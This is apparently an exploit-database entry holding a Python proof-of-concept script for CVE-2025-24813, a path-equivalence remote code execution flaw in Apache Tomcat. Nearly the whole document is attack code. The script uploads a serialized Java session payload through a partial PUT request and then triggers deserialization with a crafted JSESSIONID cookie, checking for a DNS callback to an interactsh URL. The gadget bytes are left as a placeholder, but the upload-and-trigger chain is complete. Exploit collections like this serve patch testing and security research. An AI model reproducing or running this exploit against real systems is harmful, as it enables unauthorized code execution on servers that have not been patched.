a8420434d2
4 changes to exploits/shellcodes/ghdb Apache Tomcat 11.0.3 - Remote Code Execution XWiki Platform 15.10.10 - Remote Code Execution YesWiki 4.5.1 - Unauthenticated Path Traversal
63 lines
No EOL
2.1 KiB
Text
63 lines
No EOL
2.1 KiB
Text
# Exploit Title: Apache Tomcat Path Equivalence - Remote Code Execution
|
|
# Exploit Author: Al Baradi Joy
|
|
# CVE: CVE-2025-24813
|
|
# Date: 2025-04-06
|
|
# Vendor Homepage: https://tomcat.apache.org/
|
|
# Software Link: https://tomcat.apache.org/download-90.cgi
|
|
# Version: Apache Tomcat < 11.0.3 / 10.1.35 / 9.0.98
|
|
# Tested on: Apache Tomcat 10.1.33
|
|
# CVSS: 9.8 (CRITICAL)
|
|
# CWE: CWE-44, CWE-502
|
|
# Reference:
|
|
https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html
|
|
|
|
import requests
|
|
import random
|
|
import string
|
|
import sys
|
|
|
|
def rand_filename(length=6):
|
|
return ''.join(random.choices(string.ascii_lowercase, k=length))
|
|
|
|
def generate_payload(interact_url):
|
|
# Java serialized payload gadget triggering DNS interaction
|
|
return f'\xac\xed\x00\x05...' # Replace with actual gadget bytes or
|
|
generator
|
|
|
|
def exploit(target, interact_url):
|
|
filename = rand_filename()
|
|
put_url = f"{target}/{filename}.session"
|
|
get_url = f"{target}/{filename}"
|
|
headers = {
|
|
"Content-Range": "bytes 0-452/457",
|
|
"Content-Type": "application/octet-stream"
|
|
}
|
|
payload = generate_payload(interact_url)
|
|
|
|
print("[+] Exploit for CVE-2025-24813")
|
|
print("[+] Made By Al Baradi Joy\n")
|
|
print(f"[+] Uploading payload to: {put_url}")
|
|
r1 = requests.put(put_url, data=payload, headers=headers)
|
|
if r1.status_code == 201:
|
|
print("[+] Payload uploaded successfully.")
|
|
else:
|
|
print(f"[-] Upload failed with status: {r1.status_code}")
|
|
return
|
|
|
|
print(f"[+] Triggering payload via: {get_url}")
|
|
cookies = {"JSESSIONID": f".{filename}"}
|
|
r2 = requests.get(get_url, cookies=cookies)
|
|
print(f"[+] Trigger request sent. Check for DNS callback to:
|
|
{interact_url}")
|
|
|
|
if __name__ == "__main__":
|
|
# Display banner first
|
|
print("[+] Exploit for CVE-2025-24813")
|
|
print("[+] Made By Al Baradi Joy\n")
|
|
|
|
# Ask the user for the target domain and interact URL
|
|
target_url = input("Enter the target domain (e.g., http://localhost:8080):
|
|
")
|
|
interact_url = input("Enter your interactsh URL: ")
|
|
|
|
exploit(target_url, interact_url) |